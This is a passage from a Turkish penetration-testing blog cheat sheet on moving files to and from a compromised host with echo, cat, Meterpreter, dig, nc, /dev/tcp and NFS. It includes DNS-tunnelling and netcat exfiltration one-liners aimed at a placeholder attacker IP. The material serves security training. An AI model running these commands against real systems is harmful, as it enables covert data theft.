Sunucu tarafındaki bir dosya form değiştirildikten sonra, yeni formdaki hali kopyalanıp hedef istemcinin komut satırına aşağıda belirtilen yöntemler ile yapıştırıldığında hedef sisteme bu dosya transfer edilebilmiş olur. Bu transfer sonrasında dosyanın boyutu ve özellikle de özet değeri “md5sum” gibi bir araçla hesaplanıp, dosya bütünlüğünün bozulup bozulmadığı kontrol edilmelidir.

B.8.1) echo

*NIX ve Windows istemcilerdeki echo aracı ile kopyalanan dosya içeriğinin her satırı tek tek istemci diskindeki bir dosya içerisine yazdırılabilir.

echo “İfade 1” > KaydedilenDosya.txt
echo “İfade 2” >> KaydedilenDosya.txt
echo “İfade 3” >> KaydedilenDosya.txt
echo “İfade 4” >> KaydedilenDosya.txt

 

B.8.2) cat

*NIX istemcilerdeki cat aracı ile kopyalanan dosya içeriği, istemci diskindeki bir dosya içerisine yazdırılabilir. Dosya yazma işlemi EOF ifadesi ile tamamlanır.

cat <<EOF > /tmp/KaydedilenDosya.txt

EOF

 

B.8.3) Meterpreter

*NIX ve Windows istemcilerde Meterpreter bağlantısı elde edildiyse, upload veya download komutları ile veri transferi gerçekleştirilebilir.

 

B.9) DNS Servisi Üzerinden İndirilmesi

B.9.1) Dig

*NIX istemcilerdeki dig aracı ile veri transferi gerçekleştirilebilir. Transfer edilecek veri istenirse HEX, base64 gibi teknikler ile kodlanabilir.

xxd -p /tmp/GonderilecekDosya.txt GonderilecekKodlanmisDosya.hex

Gönderilecek kodlanmış dosyanın her bir satırı bir alt etki alanıymış (subdomain) gibi saldırgana sorulur.

for satir in $(cat GonderilecekKodlanmisDosya.hex); do dig Sunucu_Saldirgan_IP $satir.BirEtkiAlani.com; done

 

 

B.10) TCP Üzerinden İndirilmesi

nc aracı ile açılan TCP soketine bağlantı kurularak veri transferi gerçekleştirilebilir.

nc Sunucu_Saldirgan_IP 9443 < IndirilecekDosya.txt

Okunan dosya da hedef sisteme gönderilebilir.

cat GonderilecekDosya.txt > /dev/tcp/Sunucu_Saldirgan_IP/9443

Eğer dosya boyutu çok büyük ve sıkıştırılmış dosya iletiliyorsa, bu dosya sıkıştırılıp iletilebilir.

tar -cf – BuyukBoyutluDosya.txt | nc -vn Sunucu_Saldirgan_IP 9443

Not: nc ile veri transferinde transferi bittiği anlaşılmayabilir. Bu gibi durumlarda ağ trafiğinin TcpDump gibi araçlar ile dinlenip, transfer tamamlandığında bağlantının koparılması (CTRL-C) sağlanabilir.

 

B.11) NFS Servisi Üzerinden İndirilmesi

B.11.1) Mount

*NIX istemcilerdeki mount aracı ile NFS sunucusundaki dosya, istemci diskine indirilebilir.

mount Sunucu_Saldirgan_IP:/tmp/PAYLASIM /tmp/Dizin

 

Kaynaklar:

https://scund00r.com/all/oscp/2018/02/25/passing-oscp.html
File Transfer
https://blog.ropnop.com/transferring-files-from-kali-to-windows/
https://www.cheatography.com/fred/cheat-sheets/file-transfers/

15 Ways to Download a File

exe2hex : Inline file transfer using in-built Windows tools (DEBUG.exe or PowerShell)

[Windows / DOS / PowerShell] Upload de fichier en ligne de commande – one liner


https://chryzsh.gitbooks.io/pentestbook/content/transfering_files.html

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.